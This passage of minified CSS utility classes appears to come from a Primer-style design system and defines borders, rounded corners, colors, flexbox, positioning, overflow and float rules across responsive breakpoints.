.3s;-webkit-backface-visibility:hidden;backface-visibility:hidden}.hover-grow:hover,.anim-hover-grow:hover{transform:scale(1.025)}.anim-rotate{animation:rotate-keyframes 1s linear infinite}@keyframes rotate-keyframes{100%{transform:rotate(360deg)}}.border-x{border-right:1px solid var(--color-border-default) !important;border-left:1px solid var(--color-border-default) !important}.border-y{border-top:1px solid var(--color-border-default) !important;border-bottom:1px solid var(--color-border-default) !important}.border{border:1px solid var(--color-border-default) !important}.border-0{border:0 !important}.border-top{border-top:1px solid var(--color-border-default) !important}.border-right{border-right:1px solid var(--color-border-default) !important}.border-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-left{border-left:1px solid var(--color-border-default) !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.rounded{border-radius:6px !important}.rounded-0{border-radius:0 !important}.rounded-1{border-radius:4px !important}.rounded-2{border-radius:6px !important}.rounded-3{border-radius:8px !important}.rounded-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}@media(min-width: 544px){.border-sm{border:1px solid var(--color-border-default) !important}.border-sm-0{border:0 !important}.border-sm-top{border-top:1px solid var(--color-border-default) !important}.border-sm-right{border-right:1px solid var(--color-border-default) !important}.border-sm-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-sm-left{border-left:1px solid var(--color-border-default) !important}.border-sm-top-0{border-top:0 !important}.border-sm-right-0{border-right:0 !important}.border-sm-bottom-0{border-bottom:0 !important}.border-sm-left-0{border-left:0 !important}.rounded-sm{border-radius:6px !important}.rounded-sm-0{border-radius:0 !important}.rounded-sm-1{border-radius:4px !important}.rounded-sm-2{border-radius:6px !important}.rounded-sm-3{border-radius:8px !important}.rounded-sm-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-sm-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-sm-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-sm-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-sm-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-sm-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-sm-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-sm-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-sm-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-sm-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-sm-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-sm-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-sm-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-sm-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-sm-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-sm-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 768px){.border-md{border:1px solid var(--color-border-default) !important}.border-md-0{border:0 !important}.border-md-top{border-top:1px solid var(--color-border-default) !important}.border-md-right{border-right:1px solid var(--color-border-default) !important}.border-md-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-md-left{border-left:1px solid var(--color-border-default) !important}.border-md-top-0{border-top:0 !important}.border-md-right-0{border-right:0 !important}.border-md-bottom-0{border-bottom:0 !important}.border-md-left-0{border-left:0 !important}.rounded-md{border-radius:6px !important}.rounded-md-0{border-radius:0 !important}.rounded-md-1{border-radius:4px !important}.rounded-md-2{border-radius:6px !important}.rounded-md-3{border-radius:8px !important}.rounded-md-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-md-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-md-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-md-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-md-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-md-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-md-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-md-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-md-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-md-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-md-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-md-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-md-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-md-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-md-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-md-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1012px){.border-lg{border:1px solid var(--color-border-default) !important}.border-lg-0{border:0 !important}.border-lg-top{border-top:1px solid var(--color-border-default) !important}.border-lg-right{border-right:1px solid var(--color-border-default) !important}.border-lg-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-lg-left{border-left:1px solid var(--color-border-default) !important}.border-lg-top-0{border-top:0 !important}.border-lg-right-0{border-right:0 !important}.border-lg-bottom-0{border-bottom:0 !important}.border-lg-left-0{border-left:0 !important}.rounded-lg{border-radius:6px !important}.rounded-lg-0{border-radius:0 !important}.rounded-lg-1{border-radius:4px !important}.rounded-lg-2{border-radius:6px !important}.rounded-lg-3{border-radius:8px !important}.rounded-lg-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-lg-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-lg-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-lg-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-lg-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-lg-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-lg-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-lg-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-lg-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-lg-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-lg-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-lg-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-lg-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-lg-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-lg-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-lg-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1280px){.border-xl{border:1px solid var(--color-border-default) !important}.border-xl-0{border:0 !important}.border-xl-top{border-top:1px solid var(--color-border-default) !important}.border-xl-right{border-right:1px solid var(--color-border-default) !important}.border-xl-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-xl-left{border-left:1px solid var(--color-border-default) !important}.border-xl-top-0{border-top:0 !important}.border-xl-right-0{border-right:0 !important}.border-xl-bottom-0{border-bottom:0 !important}.border-xl-left-0{border-left:0 !important}.rounded-xl{border-radius:6px !important}.rounded-xl-0{border-radius:0 !important}.rounded-xl-1{border-radius:4px !important}.rounded-xl-2{border-radius:6px !important}.rounded-xl-3{border-radius:8px !important}.rounded-xl-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-xl-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-xl-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-xl-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-xl-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-xl-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-xl-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-xl-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-xl-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-xl-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-xl-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-xl-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-xl-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-xl-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-xl-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-xl-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}.circle{border-radius:50% !important}.border-dashed{border-style:dashed !important}.color-shadow-small{box-shadow:var(--color-shadow-small) !important}.color-shadow-medium{box-shadow:var(--color-shadow-medium) !important}.color-shadow-large{box-shadow:var(--color-shadow-large) !important}.color-shadow-extra-large{box-shadow:var(--color-shadow-extra-large) !important}.box-shadow-none{box-shadow:none !important}.color-fg-default{color:var(--color-fg-default) !important}.color-fg-muted{color:var(--color-fg-muted) !important}.color-fg-subtle{color:var(--color-fg-subtle) !important}.color-fg-accent{color:var(--color-accent-fg) !important}.color-fg-success{color:var(--color-success-fg) !important}.color-fg-attention{color:var(--color-attention-fg) !important}.color-fg-severe{color:var(--color-severe-fg) !important}.color-fg-danger{color:var(--color-danger-fg) !important}.color-fg-open{color:var(--color-open-fg) !important}.color-fg-closed{color:var(--color-closed-fg) !important}.color-fg-done{color:var(--color-done-fg) !important}.color-fg-sponsors{color:var(--color-sponsors-fg) !important}.color-fg-on-emphasis{color:var(--color-fg-on-emphasis) !important}.color-bg-default{background-color:var(--color-canvas-default) !important}.color-bg-overlay{background-color:var(--color-canvas-overlay) !important}.color-bg-inset{background-color:var(--color-canvas-inset) !important}.color-bg-subtle{background-color:var(--color-canvas-subtle) !important}.color-bg-emphasis{background-color:var(--color-neutral-emphasis-plus) !important}.color-bg-accent{background-color:var(--color-accent-subtle) !important}.color-bg-accent-emphasis{background-color:var(--color-accent-emphasis) !important}.color-bg-success{background-color:var(--color-success-subtle) !important}.color-bg-success-emphasis{background-color:var(--color-success-emphasis) !important}.color-bg-attention{background-color:var(--color-attention-subtle) !important}.color-bg-attention-emphasis{background-color:var(--color-attention-emphasis) !important}.color-bg-severe{background-color:var(--color-severe-subtle) !important}.color-bg-severe-emphasis{background-color:var(--color-severe-emphasis) !important}.color-bg-danger{background-color:var(--color-danger-subtle) !important}.color-bg-danger-emphasis{background-color:var(--color-danger-emphasis) !important}.color-bg-open{background-color:var(--color-open-subtle) !important}.color-bg-open-emphasis{background-color:var(--color-open-emphasis) !important}.color-bg-closed{background-color:var(--color-closed-subtle) !important}.color-bg-closed-emphasis{background-color:var(--color-closed-emphasis) !important}.color-bg-done{background-color:var(--color-done-subtle) !important}.color-bg-done-emphasis{background-color:var(--color-done-emphasis) !important}.color-bg-sponsors{background-color:var(--color-sponsors-subtle) !important}.color-bg-sponsors-emphasis{background-color:var(--color-sponsors-emphasis) !important}.color-bg-transparent{background-color:transparent !important}.color-border-default{border-color:var(--color-border-default) !important}.color-border-muted{border-color:var(--color-border-muted) !important}.color-border-subtle{border-color:var(--color-border-subtle) !important}.color-border-accent{border-color:var(--color-accent-muted) !important}.color-border-accent-emphasis{border-color:var(--color-accent-emphasis) !important}.color-border-success{border-color:var(--color-success-muted) !important}.color-border-success-emphasis{border-color:var(--color-success-emphasis) !important}.color-border-attention{border-color:var(--color-attention-muted) !important}.color-border-attention-emphasis{border-color:var(--color-attention-emphasis) !important}.color-border-severe{border-color:var(--color-severe-muted) !important}.color-border-severe-emphasis{border-color:var(--color-severe-emphasis) !important}.color-border-danger{border-color:var(--color-danger-muted) !important}.color-border-danger-emphasis{border-color:var(--color-danger-emphasis) !important}.color-border-open{border-color:var(--color-open-muted) !important}.color-border-open-emphasis{border-color:var(--color-open-emphasis) !important}.color-border-closed{border-color:var(--color-closed-muted) !important}.color-border-closed-emphasis{border-color:var(--color-closed-emphasis) !important}.color-border-done{border-color:var(--color-done-muted) !important}.color-border-done-emphasis{border-color:var(--color-done-emphasis) !important}.color-border-sponsors{border-color:var(--color-sponsors-muted) !important}.color-border-sponsors-emphasis{border-color:var(--color-sponsors-emphasis) !important}.color-fg-inherit{color:inherit !important}.details-overlay[open]>summary::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent}.details-overlay-dark[open]>summary::before{z-index:111;background:var(--color-primer-canvas-backdrop)}.details-reset>summary{list-style:none;transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-reset>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-reset>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-reset>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary::before{display:none}.details-reset>summary::-webkit-details-marker{display:none}.details-overlay>summary{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-overlay>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-overlay>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-overlay>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-overlay>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.flex-row{flex-direction:row !important}.flex-row-reverse{flex-direction:row-reverse !important}.flex-column{flex-direction:column !important}.flex-column-reverse{flex-direction:column-reverse !important}.flex-wrap{flex-wrap:wrap !important}.flex-nowrap{flex-wrap:nowrap !important}.flex-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-justify-start{justify-content:flex-start !important}.flex-justify-end{justify-content:flex-end !important}.flex-justify-center{justify-content:center !important}.flex-justify-between{justify-content:space-between !important}.flex-justify-around{justify-content:space-around !important}.flex-items-start{align-items:flex-start !important}.flex-items-end{align-items:flex-end !important}.flex-items-center{align-items:center !important}.flex-items-baseline{align-items:baseline !important}.flex-items-stretch{align-items:stretch !important}.flex-content-start{align-content:flex-start !important}.flex-content-end{align-content:flex-end !important}.flex-content-center{align-content:center !important}.flex-content-between{align-content:space-between !important}.flex-content-around{align-content:space-around !important}.flex-content-stretch{align-content:stretch !important}.flex-1{flex:1 !important}.flex-auto{flex:auto !important}.flex-grow-0{flex-grow:0 !important}.flex-shrink-0{flex-shrink:0 !important}.flex-self-auto{align-self:auto !important}.flex-self-start{align-self:flex-start !important}.flex-self-end{align-self:flex-end !important}.flex-self-center{align-self:center !important}.flex-self-baseline{align-self:baseline !important}.flex-self-stretch{align-self:stretch !important}.flex-order-1{order:1 !important}.flex-order-2{order:2 !important}.flex-order-none{order:inherit !important}@media(min-width: 544px){.flex-sm-row{flex-direction:row !important}.flex-sm-row-reverse{flex-direction:row-reverse !important}.flex-sm-column{flex-direction:column !important}.flex-sm-column-reverse{flex-direction:column-reverse !important}.flex-sm-wrap{flex-wrap:wrap !important}.flex-sm-nowrap{flex-wrap:nowrap !important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-sm-justify-start{justify-content:flex-start !important}.flex-sm-justify-end{justify-content:flex-end !important}.flex-sm-justify-center{justify-content:center !important}.flex-sm-justify-between{justify-content:space-between !important}.flex-sm-justify-around{justify-content:space-around !important}.flex-sm-items-start{align-items:flex-start !important}.flex-sm-items-end{align-items:flex-end !important}.flex-sm-items-center{align-items:center !important}.flex-sm-items-baseline{align-items:baseline !important}.flex-sm-items-stretch{align-items:stretch !important}.flex-sm-content-start{align-content:flex-start !important}.flex-sm-content-end{align-content:flex-end !important}.flex-sm-content-center{align-content:center !important}.flex-sm-content-between{align-content:space-between !important}.flex-sm-content-around{align-content:space-around !important}.flex-sm-content-stretch{align-content:stretch !important}.flex-sm-1{flex:1 !important}.flex-sm-auto{flex:auto !important}.flex-sm-grow-0{flex-grow:0 !important}.flex-sm-shrink-0{flex-shrink:0 !important}.flex-sm-self-auto{align-self:auto !important}.flex-sm-self-start{align-self:flex-start !important}.flex-sm-self-end{align-self:flex-end !important}.flex-sm-self-center{align-self:center !important}.flex-sm-self-baseline{align-self:baseline !important}.flex-sm-self-stretch{align-self:stretch !important}.flex-sm-order-1{order:1 !important}.flex-sm-order-2{order:2 !important}.flex-sm-order-none{order:inherit !important}}@media(min-width: 768px){.flex-md-row{flex-direction:row !important}.flex-md-row-reverse{flex-direction:row-reverse !important}.flex-md-column{flex-direction:column !important}.flex-md-column-reverse{flex-direction:column-reverse !important}.flex-md-wrap{flex-wrap:wrap !important}.flex-md-nowrap{flex-wrap:nowrap !important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-md-justify-start{justify-content:flex-start !important}.flex-md-justify-end{justify-content:flex-end !important}.flex-md-justify-center{justify-content:center !important}.flex-md-justify-between{justify-content:space-between !important}.flex-md-justify-around{justify-content:space-around !important}.flex-md-items-start{align-items:flex-start !important}.flex-md-items-end{align-items:flex-end !important}.flex-md-items-center{align-items:center !important}.flex-md-items-baseline{align-items:baseline !important}.flex-md-items-stretch{align-items:stretch !important}.flex-md-content-start{align-content:flex-start !important}.flex-md-content-end{align-content:flex-end !important}.flex-md-content-center{align-content:center !important}.flex-md-content-between{align-content:space-between !important}.flex-md-content-around{align-content:space-around !important}.flex-md-content-stretch{align-content:stretch !important}.flex-md-1{flex:1 !important}.flex-md-auto{flex:auto !important}.flex-md-grow-0{flex-grow:0 !important}.flex-md-shrink-0{flex-shrink:0 !important}.flex-md-self-auto{align-self:auto !important}.flex-md-self-start{align-self:flex-start !important}.flex-md-self-end{align-self:flex-end !important}.flex-md-self-center{align-self:center !important}.flex-md-self-baseline{align-self:baseline !important}.flex-md-self-stretch{align-self:stretch !important}.flex-md-order-1{order:1 !important}.flex-md-order-2{order:2 !important}.flex-md-order-none{order:inherit !important}}@media(min-width: 1012px){.flex-lg-row{flex-direction:row !important}.flex-lg-row-reverse{flex-direction:row-reverse !important}.flex-lg-column{flex-direction:column !important}.flex-lg-column-reverse{flex-direction:column-reverse !important}.flex-lg-wrap{flex-wrap:wrap !important}.flex-lg-nowrap{flex-wrap:nowrap !important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-lg-justify-start{justify-content:flex-start !important}.flex-lg-justify-end{justify-content:flex-end !important}.flex-lg-justify-center{justify-content:center !important}.flex-lg-justify-between{justify-content:space-between !important}.flex-lg-justify-around{justify-content:space-around !important}.flex-lg-items-start{align-items:flex-start !important}.flex-lg-items-end{align-items:flex-end !important}.flex-lg-items-center{align-items:center !important}.flex-lg-items-baseline{align-items:baseline !important}.flex-lg-items-stretch{align-items:stretch !important}.flex-lg-content-start{align-content:flex-start !important}.flex-lg-content-end{align-content:flex-end !important}.flex-lg-content-center{align-content:center !important}.flex-lg-content-between{align-content:space-between !important}.flex-lg-content-around{align-content:space-around !important}.flex-lg-content-stretch{align-content:stretch !important}.flex-lg-1{flex:1 !important}.flex-lg-auto{flex:auto !important}.flex-lg-grow-0{flex-grow:0 !important}.flex-lg-shrink-0{flex-shrink:0 !important}.flex-lg-self-auto{align-self:auto !important}.flex-lg-self-start{align-self:flex-start !important}.flex-lg-self-end{align-self:flex-end !important}.flex-lg-self-center{align-self:center !important}.flex-lg-self-baseline{align-self:baseline !important}.flex-lg-self-stretch{align-self:stretch !important}.flex-lg-order-1{order:1 !important}.flex-lg-order-2{order:2 !important}.flex-lg-order-none{order:inherit !important}}@media(min-width: 1280px){.flex-xl-row{flex-direction:row !important}.flex-xl-row-reverse{flex-direction:row-reverse !important}.flex-xl-column{flex-direction:column !important}.flex-xl-column-reverse{flex-direction:column-reverse !important}.flex-xl-wrap{flex-wrap:wrap !important}.flex-xl-nowrap{flex-wrap:nowrap !important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-xl-justify-start{justify-content:flex-start !important}.flex-xl-justify-end{justify-content:flex-end !important}.flex-xl-justify-center{justify-content:center !important}.flex-xl-justify-between{justify-content:space-between !important}.flex-xl-justify-around{justify-content:space-around !important}.flex-xl-items-start{align-items:flex-start !important}.flex-xl-items-end{align-items:flex-end !important}.flex-xl-items-center{align-items:center !important}.flex-xl-items-baseline{align-items:baseline !important}.flex-xl-items-stretch{align-items:stretch !important}.flex-xl-content-start{align-content:flex-start !important}.flex-xl-content-end{align-content:flex-end !important}.flex-xl-content-center{align-content:center !important}.flex-xl-content-between{align-content:space-between !important}.flex-xl-content-around{align-content:space-around !important}.flex-xl-content-stretch{align-content:stretch !important}.flex-xl-1{flex:1 !important}.flex-xl-auto{flex:auto !important}.flex-xl-grow-0{flex-grow:0 !important}.flex-xl-shrink-0{flex-shrink:0 !important}.flex-xl-self-auto{align-self:auto !important}.flex-xl-self-start{align-self:flex-start !important}.flex-xl-self-end{align-self:flex-end !important}.flex-xl-self-center{align-self:center !important}.flex-xl-self-baseline{align-self:baseline !important}.flex-xl-self-stretch{align-self:stretch !important}.flex-xl-order-1{order:1 !important}.flex-xl-order-2{order:2 !important}.flex-xl-order-none{order:inherit !important}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:sticky !important}@media(min-width: 544px){.position-sm-static{position:static !important}.position-sm-relative{position:relative !important}.position-sm-absolute{position:absolute !important}.position-sm-fixed{position:fixed !important}.position-sm-sticky{position:sticky !important}}@media(min-width: 768px){.position-md-static{position:static !important}.position-md-relative{position:relative !important}.position-md-absolute{position:absolute !important}.position-md-fixed{position:fixed !important}.position-md-sticky{position:sticky !important}}@media(min-width: 1012px){.position-lg-static{position:static !important}.position-lg-relative{position:relative !important}.position-lg-absolute{position:absolute !important}.position-lg-fixed{position:fixed !important}.position-lg-sticky{position:sticky !important}}@media(min-width: 1280px){.position-xl-static{position:static !important}.position-xl-relative{position:relative !important}.position-xl-absolute{position:absolute !important}.position-xl-fixed{position:fixed !important}.position-xl-sticky{position:sticky !important}}.top-0{top:0 !important}.right-0{right:0 !important}.bottom-0{bottom:0 !important}.left-0{left:0 !important}.top-auto{top:auto !important}.right-auto{right:auto !important}.bottom-auto{bottom:auto !important}.left-auto{left:auto !important}@media(min-width: 544px){.top-sm-0{top:0 !important}.right-sm-0{right:0 !important}.bottom-sm-0{bottom:0 !important}.left-sm-0{left:0 !important}.top-sm-auto{top:auto !important}.right-sm-auto{right:auto !important}.bottom-sm-auto{bottom:auto !important}.left-sm-auto{left:auto !important}}@media(min-width: 768px){.top-md-0{top:0 !important}.right-md-0{right:0 !important}.bottom-md-0{bottom:0 !important}.left-md-0{left:0 !important}.top-md-auto{top:auto !important}.right-md-auto{right:auto !important}.bottom-md-auto{bottom:auto !important}.left-md-auto{left:auto !important}}@media(min-width: 1012px){.top-lg-0{top:0 !important}.right-lg-0{right:0 !important}.bottom-lg-0{bottom:0 !important}.left-lg-0{left:0 !important}.top-lg-auto{top:auto !important}.right-lg-auto{right:auto !important}.bottom-lg-auto{bottom:auto !important}.left-lg-auto{left:auto !important}}@media(min-width: 1280px){.top-xl-0{top:0 !important}.right-xl-0{right:0 !important}.bottom-xl-0{bottom:0 !important}.left-xl-0{left:0 !important}.top-xl-auto{top:auto !important}.right-xl-auto{right:auto !important}.bottom-xl-auto{bottom:auto !important}.left-xl-auto{left:auto !important}}.v-align-middle{vertical-align:middle !important}.v-align-top{vertical-align:top !important}.v-align-bottom{vertical-align:bottom !important}.v-align-text-top{vertical-align:text-top !important}.v-align-text-bottom{vertical-align:text-bottom !important}.v-align-baseline{vertical-align:baseline !important}.overflow-visible{overflow:visible !important}.overflow-x-visible{overflow-x:visible !important}.overflow-y-visible{overflow-y:visible !important}.overflow-hidden{overflow:hidden !important}.overflow-x-hidden{overflow-x:hidden !important}.overflow-y-hidden{overflow-y:hidden !important}.overflow-auto{overflow:auto !important}.overflow-x-auto{overflow-x:auto !important}.overflow-y-auto{overflow-y:auto !important}.overflow-scroll{overflow:scroll !important}.overflow-x-scroll{overflow-x:scroll !important}.overflow-y-scroll{overflow-y:scroll !important}@media(min-width: 544px){.overflow-sm-visible{overflow:visible !important}.overflow-sm-x-visible{overflow-x:visible !important}.overflow-sm-y-visible{overflow-y:visible !important}.overflow-sm-hidden{overflow:hidden !important}.overflow-sm-x-hidden{overflow-x:hidden !important}.overflow-sm-y-hidden{overflow-y:hidden !important}.overflow-sm-auto{overflow:auto !important}.overflow-sm-x-auto{overflow-x:auto !important}.overflow-sm-y-auto{overflow-y:auto !important}.overflow-sm-scroll{overflow:scroll !important}.overflow-sm-x-scroll{overflow-x:scroll !important}.overflow-sm-y-scroll{overflow-y:scroll !important}}@media(min-width: 768px){.overflow-md-visible{overflow:visible !important}.overflow-md-x-visible{overflow-x:visible !important}.overflow-md-y-visible{overflow-y:visible !important}.overflow-md-hidden{overflow:hidden !important}.overflow-md-x-hidden{overflow-x:hidden !important}.overflow-md-y-hidden{overflow-y:hidden !important}.overflow-md-auto{overflow:auto !important}.overflow-md-x-auto{overflow-x:auto !important}.overflow-md-y-auto{overflow-y:auto !important}.overflow-md-scroll{overflow:scroll !important}.overflow-md-x-scroll{overflow-x:scroll !important}.overflow-md-y-scroll{overflow-y:scroll !important}}@media(min-width: 1012px){.overflow-lg-visible{overflow:visible !important}.overflow-lg-x-visible{overflow-x:visible !important}.overflow-lg-y-visible{overflow-y:visible !important}.overflow-lg-hidden{overflow:hidden !important}.overflow-lg-x-hidden{overflow-x:hidden !important}.overflow-lg-y-hidden{overflow-y:hidden !important}.overflow-lg-auto{overflow:auto !important}.overflow-lg-x-auto{overflow-x:auto !important}.overflow-lg-y-auto{overflow-y:auto !important}.overflow-lg-scroll{overflow:scroll !important}.overflow-lg-x-scroll{overflow-x:scroll !important}.overflow-lg-y-scroll{overflow-y:scroll !important}}@media(min-width: 1280px){.overflow-xl-visible{overflow:visible !important}.overflow-xl-x-visible{overflow-x:visible !important}.overflow-xl-y-visible{overflow-y:visible !important}.overflow-xl-hidden{overflow:hidden !important}.overflow-xl-x-hidden{overflow-x:hidden !important}.overflow-xl-y-hidden{overflow-y:hidden !important}.overflow-xl-auto{overflow:auto !important}.overflow-xl-x-auto{overflow-x:auto !important}.overflow-xl-y-auto{overflow-y:auto !important}.overflow-xl-scroll{overflow:scroll !important}.overflow-xl-x-scroll{overflow-x:scroll !important}.overflow-xl-y-scroll{overflow-y:scroll !important}}.clearfix::before{display:table;content:""}.clearfix::after{display:table;clear:both;content:""}.float-left{float:left !important}.float-right{float:right !important}.float-none{float:none !important}@media(min-width: 544px){.float-sm-left{float:left !important}.float-sm-right{float:right !important}.float-sm-none{float:none !important}}@media(min-width: 768px){.float-md-left{float:left !important}.float-md-right{float:right !important}.float-md-none{float:none !important}}@media(min-width: 1012px){.float-lg-left{float:left !important}.float-lg-right{float:right !important}.float-lg-none{float:none !important}}@media(min-width: 1280px){.float-xl-left{float:left !important}.float-xl-right{float:right !important}.float-xl-none{float:none !important}}.width-fit{max-width:100% !important}.width-full{width:100% !important}.height-fit{max-height:100% !important}.height-full{height:100% !important}.min-width-0{min-width:0 !important}.width-auto{width:auto !important}.direction-rtl{direction:rtl !important}.direction-ltr{direction:ltr !important}@media(min-width: 544px){.width-sm-auto{width:auto 